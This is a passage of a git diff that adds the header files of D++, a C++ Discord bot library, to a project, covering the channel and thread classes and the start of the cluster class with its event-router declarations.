metadata for threads + */ +struct DPP_EXPORT thread_metadata { + /// Whether a thread is archived + bool archived; + /// When the thread was archived + time_t archive_timestamp; + /// The duration after a thread will archive + uint16_t auto_archive_duration; + /// Whether a thread is locked + bool locked; + /// Whether non-moderators can add other non-moderators + bool invitable; +}; + +/** + * @brief represents membership of a user with a thread + */ +struct DPP_EXPORT thread_member +{ + /// ID of the thread member is part of + snowflake thread_id; + /// ID of the member + snowflake user_id; + /// When the user joined the thread + time_t joined; + /// Flags bitmap + uint32_t flags; + + /** + * @brief Read struct values from a json object + * @param j json to read values from + * @return A reference to self + */ + thread_member& fill_from_json(nlohmann::json* j); +}; + +/** @brief A group of thread member objects*/ +typedef std::unordered_map thread_member_map; + +/** + * @brief A definition of a discord channel + * There are one of these for every channel type except threads. Threads are + * special snowflakes. Get it? A Discord pun. Hahaha. .... I'll get my coat. + */ +class DPP_EXPORT channel : public managed { +public: + /** Flags bitmap */ + uint16_t flags; + + /** Guild id of the guild that owns the channel */ + snowflake guild_id; + + /** Sorting position, lower number means higher up the list */ + uint16_t position; + + /** Channel name */ + std::string name; + + /** Channel topic */ + std::string topic; + + /** ID of last message to be sent to the channel */ + snowflake last_message_id; + + /** Maximum user limit for voice channels (0-99) */ + uint8_t user_limit; + + /** the bitrate (in bits) of the voice channel */ + uint16_t bitrate; + + /** amount of seconds a user has to wait before sending another message (0-21600); bots, as well as users with the permission manage_messages or manage_channel, are unaffected*/ + uint16_t rate_limit_per_user; + + /** User ID of owner for group DMs */ + snowflake owner_id; + + /** Parent ID (category) */ + snowflake parent_id; + + /** Timestamp of last pinned message */ + time_t last_pin_timestamp; + + /** DM recipients */ + std::vector recipients; + + /** Permission overwrites to apply to base permissions */ + std::vector permission_overwrites; + + /** + * @brief This is only filled when the channel is part of the `resolved` set + * sent within an interaction. Any other time it contains zero. When filled, + * it contains the calculated permission bitmask of the user issuing the command + * within this channel. + */ + uint64_t permissions; + + /** + * @brief Voice region if set for voice channel, otherwise empty string + */ + std::string rtc_region; + + /** + * @brief Channel icon (for group DMs) + */ + utility::iconhash icon; + + /** + * @brief Channel banner (boost level locked) + */ + utility::iconhash banner; + + /** Constructor */ + channel(); + + /** Destructor */ + virtual ~channel(); + + /** Read class values from json object + * @param j A json object to read from + * @return A reference to self + */ + channel& fill_from_json(nlohmann::json* j); + + /** + * @brief Build json for this channel object + * + * @param with_id include the ID in the json + * @return std::string JSON string + */ + virtual std::string build_json(bool with_id = false) const; + + /** + * @brief Get the mention ping for the channel + * + * @return std::string mention + */ + std::string get_mention() const; + + /** + * @brief Get the user permissions for a user on this channel + * + * @param member The user to return permissions for + * @return uint64_t Permissions bitmask made of bits in role_permissions. + * Note that if the user is not on the channel or the guild is + * not in the cache, the function will always return 0. + */ + uint64_t get_user_permissions(const class user* member) const; + + /** + * @brief Return a map of members on the channel, built from the guild's + * member list based on which members have the VIEW_CHANNEL permission. + * Does not return reliable information for voice channels, use + * dpp::channel::get_voice_members() instead for this. + * @return A map of guild members keyed by user id. + */ + std::map get_members(); + + /** + * @brief Get a map of members in this channel, if it is a voice channel. + * The map is keyed by snowflake id of the user. + * + * @return std::map The voice members of the channel + */ + std::map get_voice_members(); + + /** + * @brief Returns true if the channel is NSFW gated + * + * @return true if NSFW + */ + bool is_nsfw() const; + + /** + * @brief Returns true if the channel is a text channel + * + * @return true if text channel + */ + bool is_text_channel() const; + + /** + * @brief Returns true if the channel is a DM + * + * @return true if is a DM + */ + bool is_dm() const; + + /** + * @brief Returns true if the channel is a voice channel + * + * @return true if voice channel + */ + bool is_voice_channel() const; + + /** + * @brief Returns true if the channel is a group DM channel + * + * @return true if group DM + */ + bool is_group_dm() const; + + /** + * @brief Returns true if the channel is a category + * + * @return true if a category + */ + bool is_category() const; + + /** + * @brief Returns true if the channel is a news channel + * + * @return true if news channel + */ + bool is_news_channel() const; + + /** + * @brief Returns true if the channel is a store channel + * + * @return true if store channel + */ + bool is_store_channel() const; + + /** + * @brief Returns true if the channel is a stage channel + * + * @return true if stage channel + */ + bool is_stage_channel() const; + + /** + * @brief Returns true if video quality is auto + * + * @return true if video quality is auto + */ + bool is_video_auto() const; + + /** + * @brief Returns true if video quality is 720p + * + * @return true if video quality is 720p + */ + bool is_video_720p() const; + +}; + +/** @brief A definition of a discord thread. + * A thread is a superset of a channel. Not to be confused with `std::thread`! + */ +class DPP_EXPORT thread : public channel { +public: + + /** Approximate count of messages in a thread (threads) */ + uint8_t message_count; + + /** Approximate count of members in a thread (threads) */ + uint8_t member_count; + + /** Thread metadata (threads) */ + thread_metadata metadata; + + /** + * @brief Thread member of current user if joined to the thread. + * Note this is only set by certain api calls otherwise contains default data + */ + thread_member member; + + /** + * @brief Construct a new thread object + */ + thread(); + + /** + * @brief Returns true if the channel is a news thread + * + * @return true if news thread + */ + bool is_news_thread() const; + + /** + * @brief Returns true if the channel is a public thread + * + * @return true if public thread + */ + bool is_public_thread() const; + + /** + * @brief Returns true if the channel is a private thread + * + * @return true if private thread + */ + bool is_private_thread() const; + + /** Read class values from json object + * @param j A json object to read from + * @return A reference to self + */ + thread& fill_from_json(nlohmann::json* j); + + /** + * @brief Destroy the thread object + */ + virtual ~thread(); + + /** + * @brief Build json for this thread object + * + * @param with_id include the ID in the json + * @return std::string JSON string + */ + virtual std::string build_json(bool with_id = false) const; + +}; + + +/* + * @brief Serialize a thread_metadata object to json + * + * @param j JSON object to serialize to + * @param tmdata object to serialize + */ +void to_json(nlohmann::json& j, const thread_metadata& tmdata); + +/** + * @brief A group of channels + */ +typedef std::unordered_map channel_map; + +/** + * @brief A group of threads + */ +typedef std::unordered_map thread_map; + +}; + diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/cluster.h b/MyBot/dependencies/include/dpp-9.0/dpp/cluster.h new file mode 100644 index 0000000..2055c38 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/cluster.h @@ -0,0 +1,3326 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +using json = nlohmann::json; + +namespace dpp { + +/** + * @brief A list of shards + */ +typedef std::map shard_list; + +/** + * @brief Represents the various information from the 'get gateway bot' api call + */ +struct DPP_EXPORT gateway { + /// Gateway websocket url + std::string url; + /// Number of suggested shards to start + uint32_t shards; + /// Total number of sessions that can be started + uint32_t session_start_total; + /// How many sessions are left + uint32_t session_start_remaining; + /// How many seconds until the session start quota resets + uint32_t session_start_reset_after; + /// How many sessions can be started at the same time + uint32_t session_start_max_concurrency; + /** + * @brief Construct a new gateway object + * + * @param j JSON data to construct from + */ + gateway(nlohmann::json* j); +}; + +/** + * @brief Confirmation object represents any true or false simple REST request + * + */ +struct DPP_EXPORT confirmation { + bool success; +}; + +/** + * @brief A container for types that can be returned for a REST API call + * + */ +typedef std::variant< + confirmation, + message, + message_map, + user, + user_identified, + user_map, + guild_member, + guild_member_map, + channel, + channel_map, + thread_member, + thread_member_map, + guild, + guild_map, + role, + role_map, + invite, + invite_map, + dtemplate, + dtemplate_map, + emoji, + emoji_map, + ban, + ban_map, + voiceregion, + voiceregion_map, + integration, + integration_map, + webhook, + webhook_map, + prune, + guild_widget, + gateway, + interaction, + interaction_response, + auditlog, + slashcommand, + slashcommand_map, + stage_instance, + sticker, + sticker_map, + sticker_pack, + sticker_pack_map, + application, + application_map, + connection, + connection_map, + thread, + thread_map, + scheduled_event, + scheduled_event_map, + event_member, + event_member_map + > confirmable_t; + +/** + * @brief The details of a field in an error response + */ +struct DPP_EXPORT error_detail { + /** + * @brief Object name which is in error + */ + std::string object; + /** + * @brief Field name which is in error + */ + std::string field; + /** + * @brief Error code + */ + std::string code; + /** + * @brief Error reason (full message) + */ + std::string reason; +}; + +/** + * @brief The full details of an error from a REST response + */ +struct DPP_EXPORT error_info { + /** + * @brief Error code + */ + uint32_t code = 0; + /** + * @brief Error message + * + */ + std::string message; + /** + * @brief Field specific error descriptions + */ + std::vector errors; +}; + +/** + * @brief The results of a REST call wrapped in a convenient struct + */ +struct DPP_EXPORT confirmation_callback_t { + /** Returned data type in confirmable_t, used to double check to avoid an exception if you wish */ + std::string type; + /** Information about the HTTP call used to make the request */ + http_request_completion_t http_info; + /** Value returned, wrapped in variant */ + confirmable_t value; + + /** + * @brief Construct a new confirmation callback t object + */ + confirmation_callback_t() = default; + + /** + * @brief Construct a new confirmation callback object + * + * @param _type The type of callback that is encapsulated in the confirmable_t + * @param _value The value to encapsulate in the confirmable_t + * @param _http The HTTP metadata from the REST call + */ + confirmation_callback_t(const std::string &_type, const confirmable_t& _value, const http_request_completion_t& _http); + + /** + * @brief Returns true if the call resulted in an error rather than a legitimate value in the + * confirmation_callback_t::value member. + * + * @return true There was an error who's details can be obtained by get_error() + * @return false There was no error + */ + bool is_error() const; + + /** + * @brief Get the error_info object. + * The error_info object contains the details of any REST error, if there is an error + * (to find out if there is an error check confirmation_callback_t::is_error()) + * + * @return error_info The details of the error message + */ + error_info get_error() const; +}; + +/** + * @brief A callback upon command completion + */ +typedef std::function command_completion_event_t; + +/** + * @brief Automatically JSON encoded HTTP result + */ +typedef std::function json_encode_t; + +extern DPP_EXPORT event_handle __next_handle; + +/** + * @brief Handles routing of an event to multiple listeners. + * + * Multiple listeners may attach to the event_router_t by means of operator(). Passing a + * lambda into operator() attaches to the event. + * + * Dispatchers of the event may call the event_router_t::call() method to cause all listeners + * to receive the event. + * + * The event_router_t::empty() method will return true if there are no listeners attached + * to the event_router_t (this can be used to save time by not constructing objects that + * nobody will ever see). + * + * The event_router_t::detach() method removes an existing listener from the event, + * using the event_handle ID returned by operator(). + * + * This class is used by the library to route all websocket events to listening code. + * + * Example: + * + * ```cpp + * // Declare an event that takes log_t as its parameter + * event_router_t my_event; + * + * // Attach a listener to the event + * event_handle id = my_event([&](const log_t& cc) { + * std::cout << cc.message << "\n"; + * }); + * + * // Construct a log_t and call the event (listeners will receive the log_t object) + * log_t lt; + * lt.message = "foo"; + * my_event.call(lt); + * + * // Detach from an event using the handle returned by operator() + * my_event.detach(id); + * ``` + * + * @tparam T type of single parameter passed to event lambda derived from event_dispatch_t + */ +template class event_router_t { +private: + /** + * @brief Thread safety mutex + */ + mutable std::shared_mutex lock; + /** + * @brief Container of event listeners keyed by handle, + * as handles are handed out sequentially they will always + * be called in they order they are bound to the event + * as std::map is an ordered container. + */ + std::map> dispatch_container; +public: + /** + * @brief Construct a new event_router_t object. + */ + event_router_t() { + } + + /** + * @brief Call all attached listeners. + * Listenrs may cancel, by calling the event.cancel method. + * + * @param event Class to pass as parameter to all listeners. + */ + void call(const T& event) const { + std::shared_lock l(lock); + std::for_each(dispatch_container.begin(), dispatch_container.end(), [&](auto &ev) { + if (!event.is_cancelled()) { + ev.second(event); + } + }); + }; + + /** + * @brief Returns true if the container of listeners is empty, + * i.e. there is nothing listening for this event right now. + * + * @return true if there are no listeners + * @return false if there are some listeners + */ + bool empty() const { + std::shared_lock l(lock); + return dispatch_container.empty(); + } + + /** + * @brief Returns true if any listeners are attached. + * + * This is the boolean opposite of event_router_t::empty(). + * @return true if listeners are attached + * @return false if no listeners are attached + */ + operator bool() const { + return !empty(); + } + + /** + * @brief Attach a lambda to the event, adding a listener. + * The lambda should follow the signature specified when declaring + * the event object and should take exactly one parameter derived + * from event_dispatch_t. + * + * @param func Function lambda to attach to event + * @return event_handle An event handle unique to this event, used to + * detach the listener from the event later if neccessary. + */ + event_handle operator()(std::function func) { + return this->attach(func); + } + + /** + * @brief Attach a lambda to the event, adding a listener. + * The lambda should follow the signature specified when declaring + * the event object and should take exactly one parameter derived + * from event_dispatch_t. + * + * @param func Function lambda to attach to event + * @return event_handle An event handle unique to this event, used to + * detach the listener from the event later if neccessary. + */ + event_handle attach(std::function func) { + std::unique_lock l(lock); + event_handle h = __next_handle++; + dispatch_container.emplace(h, func); + return h; + } + + /** + * @brief Detach a listener from the event using a previously obtained ID. + * + * @param handle An ID obtained from event_router_t::operator() + * @return true The event was successfully detached + * @return false The ID is invalid (possibly already detached, or does not exist) + */ + bool detach(const event_handle& handle) { + std::unique_lock l(lock); + return this->dispatch_container.erase(handle); + } +}; + +/** @brief The cluster class represents a group of shards and a command queue for sending and + * receiving commands from discord via HTTP. You should usually instantiate a cluster object + * at the very least to make use of the library. + */ +class DPP_EXPORT cluster { + + friend class discord_client; + + /** + * @brief queue system for commands sent to Discord, and any replies + */ + request_queue* rest; + + /** + * @brief queue system for arbitrary HTTP requests sent by the user to sites other than Discord + */ + request_queue* raw_rest; + + /** + * @brief True if to use compression on shards + */ + bool compressed; + + /** + * @brief Lock to prevent concurrent access to dm_channels + */ + std::mutex dm_list_lock; + + /** + * @brief Start time of cluster + */ + time_t start_time; + + /** + * @brief Active DM channels for the bot + */ + std::unordered_map dm_channels; + + /** + * @brief Active shards on this cluster. Shard IDs may have gaps between if there + * are multiple clusters. + */ + shard_list shards; + + /** + * @brief List of all active registered timers + */ + timer_reg_t timer_list; + + /** + * @brief List of timers by time + */ + timer_next_t next_timer; + + /** + * @brief Accepts result from /gateway/bot REST API call and populates numshards with it + * + * @param shardinfo Received HTTP data from API call + * @throw dpp::exception Thrown if REST request to obtain shard count fails + */ + void auto_shard(const confirmation_callback_t &shardinfo); + + /** + * @brief Tick active timers + */ + void tick_timers(); + + /** + * @brief Reschedule a timer for its next tick + * + * @param t Timer to reschedule + */ + void timer_reschedule(timer_t* t); +public: + /** + * @brief Current bot token for all shards on this cluster and all commands sent via HTTP + */ + std::string token; + + /** + * @brief Last time the bot sent an IDENTIFY + */ + time_t last_identify; + + /** + * @brief Current bitmask of gateway intents + */ + uint32_t intents; + + /** + * @brief Total number of shards across all clusters + */ + uint32_t numshards; + + /** + * @brief ID of this cluster, between 0 and MAXCLUSTERS-1 inclusive + */ + uint32_t cluster_id; + + /** + * @brief Total number of clusters that are active + */ + uint32_t maxclusters; + + /** + * @brief REST latency (HTTPS ping) in seconds + */ + double rest_ping; + + /** + * @brief The details of the bot user. This is assumed to be identical across all shards + * in the cluster. Each connecting shard updates this information. + */ + dpp::user me; + + /** + * @brief Current cache policy for the cluster + */ + cache_policy_t cache_policy; + + /** + * @brief Websocket mode for all shards in the cluster, either ws_json or ws_etf. + * Production bots should use ETF, while development bots should use JSON. + */ + websocket_protocol_t ws_mode; + + /** + * @brief Constructor for creating a cluster. All but the token are optional. + * @param token The bot token to use for all HTTP commands and websocket connections + * @param intents A bitmask of dpd::intents values for all shards on this cluster. This is required to be sent for all bots with over 100 servers. + * @param shards The total number of shards on this bot. If there are multiple clusters, then (shards / clusters) actual shards will run on this cluster. + * If you omit this value, the library will attempt to query the Discord API for the correct number of shards to start. + * @param cluster_id The ID of this cluster, should be between 0 and MAXCLUSTERS-1 + * @param maxclusters The total number of clusters that are active, which may be on separate processes or even separate machines. + * @param compressed Whether or not to use compression for shards on this cluster. Saves a ton of bandwidth at the cost of some CPU + * @param policy Set the user caching policy for the cluster, either lazy (only cache users/members when they message the bot) or aggressive (request whole member lists on seeing new guilds too) + * @throw dpp::exception Thrown on windows, if WinSock fails to initialise, or on any other system if a dpp::request_queue fails to construct + */ + cluster(const std::string &token, uint32_t intents = i_default_intents, uint32_t shards = 0, uint32_t cluster_id = 0, uint32_t maxclusters = 1, bool compressed = true, cache_policy_t policy = {cp_aggressive, cp_aggressive, cp_aggressive}); + + /** + * @brief dpp::cluster is non-copyable + */ + cluster(const cluster&) = delete; + + /** + * @brief dpp::cluster is non-moveable + */ + cluster(const cluster&&) = delete; + + /** + * @brief Destroy the cluster object + */ + virtual ~cluster(); + + /** + * @brief Set the websocket protocol for all shards on this cluster. + * You should call this method before cluster::start. + * Generally ws_etf is faster, but provides less facilities for debugging should something + * go wrong. It is recommended to use ETF in production and JSON in development. + * + * @param mode websocket protocol to use, either ws_json or ws_etf. + * @return cluster& Reference to self for chaining. + */ + cluster& set_websocket_protocol(websocket_protocol_t mode); + + /** + * @brief Set the audit log reason for the next REST call to be made. + * This is set per-thread, so you must ensure that if you call this method, your request that + * is associated with the reason happens on the same thread where you set the reason. + * Once the next call is made, the audit log reason is cleared for this thread automatically. + * + * Example: + * ``` + * bot.set_audit_reason("Too much abusive content") + * .channel_delete(my_channel_id); + * ``` + * + * @param reason The reason to set for the next REST call on this thread + * @return cluster& Reference to self for chaining. + */ + cluster& set_audit_reason(const std::string &reason); + + /** + * @brief Clear the audit log reason for the next REST call to be made. + * This is set per-thread, so you must ensure that if you call this method, your request that + * is associated with the reason happens on the same thread where you set the reason. + * Once the next call is made, the audit log reason is cleared for this thread automatically. + * + * Example: + * ``` + * bot.set_audit_reason("Won't be sent") + * .clear_audit_reason() + * .channel_delete(my_channel_id); + * ``` + * + * @return cluster& Reference to self for chaining. + */ + cluster& clear_audit_reason(); + + /** + * @brief Get the audit reason set for the next REST call to be made on this thread. + * This is set per-thread, so you must ensure that if you call this method, your request that + * is associated with the reason happens on the same thread where you set the reason. + * Once the next call is made, the audit log reason is cleared for this thread automatically. + * + * @note This method call clears the audit reason when it returns it. + * + * @return std::string The audit reason to be used. + * + */ + std::string get_audit_reason(); + + /** + * @brief Log a message to whatever log the user is using. + * The logged message is passed up the chain to the on_log event in user code which can then do whatever + * it wants to do with it. + * @param severity The log level from dpp::loglevel + * @param msg The log message to output + */ + void log(dpp::loglevel severity, const std::string &msg) const; + + /** + * @brief Start a timer. Every `frequency` seconds, the callback is called. + * + * @param on_tick The callback lambda to call for this timer when ticked + * @param on_stop The callback lambda to call for this timer when it is stopped + * @param frequency How often to tick the timer + * @return timer A handle to the timer, used to remove that timer later + */ + timer start_timer(timer_callback_t on_tick, uint64_t frequency, timer_callback_t on_stop = {}); + + /** + * @brief Stop a ticking timer + * + * @param t Timer handle received from cluster::start_timer + * @return bool True if the timer was stopped, false if it did not exist + * @note If the timer has an on_stop lambda, the on_stop lambda will be called. + */ + bool stop_timer(timer t); + + /** + * @brief Get the dm channel for a user id + * + * @param user_id the user id to get the dm channel for + * @return Returns 0 on failure + */ + snowflake get_dm_channel(snowflake user_id); + + /** + * @brief Set the dm channel id for a user id + * + * @param user_id user id to set the dm channel for + * @param channel_id dm channel to set + */ + void set_dm_channel(snowflake user_id, snowflake channel_id); + + /** + * @brief Returns the uptime of the cluster + * + * @return dpp::utility::uptime The uptime of the cluster + */ + dpp::utility::uptime uptime(); + + /** + * @brief Start the cluster, connecting all its shards. + * + * Returns once all shards are connected if return_after is true, + * otherwise enters an infinite loop while the shards run. + * + * @param return_after If true the bot will return to your program after starting shards, if false this function will never return. + */ + void start(bool return_after = true); + + /** + * @brief Set the presence for all shards on the cluster + * + * @param p The presence to set. Only the online status and the first activity are sent. + */ + void set_presence(const class dpp::presence &p); + + /** + * @brief Get a shard by id, returning the discord_client + * + * @param id Shard ID + * @return discord_client* shard, or null + */ + discord_client* get_shard(uint32_t id); + + /** + * @brief Get the list of shards + * + * @return shard_list& Reference to map of shards for this cluster + */ + const shard_list& get_shards(); + + /* Functions for attaching to event handlers */ + + /** + * @brief on voice state update event + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_state_update_t&, and returns void. + */ + event_router_t on_voice_state_update; + + + /** + * @brief on voice client disconnect event + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_client_disconnect_t&, and returns void. + */ + event_router_t on_voice_client_disconnect; + + + /** + * @brief on voice client speaking event + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_client_speaking_t&, and returns void. + */ + event_router_t on_voice_client_speaking; + + + /** + * @brief Called when a log message is to be written to the log. + * You can attach any logging system here you wish, e.g. spdlog, or even just a simple + * use of std::cout or printf. If nothing attaches this log event, then the + * library will be silent. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type log_t&, and returns void. + */ + event_router_t on_log; + + /** + * @brief on guild join request delete. + * Triggered when a user declines the membership screening questionnaire for a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_join_request_delete_t&, and returns void. + */ + event_router_t on_guild_join_request_delete; + + + /** + * @brief Called when a new interaction is created. + * Interactions are created by discord when commands you have registered are issued + * by a user. For an example of this in action please see \ref slashcommands + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type interaction_create_t&, and returns void. + */ + event_router_t on_interaction_create; + + + /** + * @brief Called when a button is clicked attached to a message. + * Button clicks are triggered by discord when buttons are clicked which you have + * associated with a message using dpp::component. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type button_click_t&, and returns void. + */ + event_router_t on_button_click; + + /** + * @brief Called when an auto completed field needs suggestions to present to the user + * This is triggered by discord when option choices have auto completion enabled which you have + * associated with a dpp::slashcommand. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type autocomplete_t&, and returns void. + */ + event_router_t on_autocomplete; + + + /** + * @brief Called when a select menu is clicked attached to a message. + * Select menu clicks are triggered by discord when select menus are clicked which you have + * associated with a message using dpp::component. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type select_click_t&, and returns void. + */ + event_router_t on_select_click; + + /** + * @brief Called when a modal dialog is submitted. + * Form submits are triggered by discord when modal dialogs are submitted which you have + * associated with a slash command using dpp::interaction_modal_response. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type form_submit_t&, and returns void. + */ + event_router_t on_form_submit; + + + /** + * @brief Called when a guild is deleted. + * A guild can be deleted via the bot being kicked, the bot leaving the guild + * explicitly with dpp::guild_delete, or via the guild being unavaialble due to + * an outage. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_delete_t&, and returns void. + */ + event_router_t on_guild_delete; + + + /** + * @brief Called when a channel is deleted from a guild. + * The channel will still be temporarily avaialble in the cache. Pointers to the + * channel should not be retained long-term as they will be deleted by the garbage + * collector. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type channel_delete_t&, and returns void. + */ + event_router_t on_channel_delete; + + + /** + * @brief Called when a channel is edited on a guild. + * The new channel details have already been applied to the guild when you + * receive this event. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type channel_update_t&, and returns void. + */ + event_router_t on_channel_update; + + + /** + * @brief Called when a shard is connected and ready. + * A set of on_guild_create events will follow this event. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type ready_t&, and returns void. + */ + event_router_t on_ready; + + + /** + * @brief Called when a message is deleted. + * The message has already been deleted from Discord when you + * receive this event. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_delete_t&, and returns void. + */ + event_router_t on_message_delete; + + + /** + * @brief Called when an application command (slash command) is deleted. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type application_command_delete_t&, and returns void. + */ + event_router_t on_application_command_delete; + + + /** + * @brief Called when a user leaves a guild (either through being kicked, or choosing to leave) + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_member_remove_t&, and returns void. + */ + event_router_t on_guild_member_remove; + + + /** + * @brief Called when a new application command (slash command) is registered. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type application_command_create_t&, and returns void. + */ + event_router_t on_application_command_create; + + + /** + * @brief Called when a connection to a shard successfully resumes. + * A resumed session does not need to re-synchronise guilds, members, etc. + * This is generally non-fatal and informational only. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type resumed_t&, and returns void. + */ + event_router_t on_resumed; + + + /** + * @brief Called when a new role is created on a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_role_create_t&, and returns void. + */ + event_router_t on_guild_role_create; + + + /** + * @brief Called when a user is typing on a channel. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type typing_start_t&, and returns void. + */ + event_router_t on_typing_start; + + + /** + * @brief Called when a new reaction is added to a message. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_reaction_add_t&, and returns void. + */ + event_router_t on_message_reaction_add; + + + /** + * @brief Called when a set of members is received for a guild. + * D++ will request these for all new guilds if needed, after the on_guild_create + * events. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_members_chunk_t&, and returns void. + */ + event_router_t on_guild_members_chunk; + + + /** + * @brief Called when a single reaction is removed from a message. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_reaction_remove_t&, and returns void. + */ + event_router_t on_message_reaction_remove; + + + /** + * @brief Called when a new guild is created. + * D++ will request members for the guild for its cache using guild_members_chunk. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_create_t&, and returns void. + */ + event_router_t on_guild_create; + + + /** + * @brief Called when a new channel is created on a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type channel_create_t&, and returns void. + */ + event_router_t on_channel_create; + + + /** + * @brief Called when all reactions for a particular emoji are removed from a message. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_reaction_remove_emoji_t&, and returns void. + */ + event_router_t on_message_reaction_remove_emoji; + + + /** + * @brief Called when multiple messages are deleted from a channel or DM. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_delete_bulk_t&, and returns void. + */ + event_router_t on_message_delete_bulk; + + + /** + * @brief Called when an existing role is updated on a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_role_update_t&, and returns void. + */ + event_router_t on_guild_role_update; + + + /** + * @brief Called when a role is deleted in a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_role_delete_t&, and returns void. + */ + event_router_t on_guild_role_delete; + + + /** + * @brief Called when a message is pinned. + * Note that the pinned message is not returned to this event, just the timestamp + * of the last pinned message. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type channel_pins_update_t&, and returns void. + */ + event_router_t on_channel_pins_update; + + + /** + * @brief Called when all reactions are removed from a message. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_reaction_remove_all_t&, and returns void. + */ + event_router_t on_message_reaction_remove_all; + + + /** + * @brief Called when we are told which voice server we can use. + * This will be sent either when we establish a new voice channel connection, + * or as discord rearrange their infrastructure. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_server_update_t&, and returns void. + */ + event_router_t on_voice_server_update; + + + /** + * @brief Called when new emojis are added to a guild. + * The complete set of emojis is sent every time. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_emojis_update_t&, and returns void. + */ + event_router_t on_guild_emojis_update; + + + /** + * @brief Called when new stickers are added to a guild. + * The complete set of stickers is sent every time. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_stickers_update_t&, and returns void. + */ + event_router_t on_guild_stickers_update; + + + /** + * @brief Called when a user's presence is updated. + * To receive these you will need the GUILD_PRESENCES privileged intent. + * You will receive many of these, very often, and receiving them will significantly + * increase your bot's CPU usage. If you don't need them it is recommended to not ask + * for them. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type presence_update_t&, and returns void. + */ + event_router_t on_presence_update; + + + /** + * @brief Called when the webhooks for a guild are updated. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type webhooks_update_t&, and returns void. + */ + event_router_t on_webhooks_update; + + + /** + * @brief Called when a new member joins a guild. + * + * @note Use operator() to attach a lambda to this event, 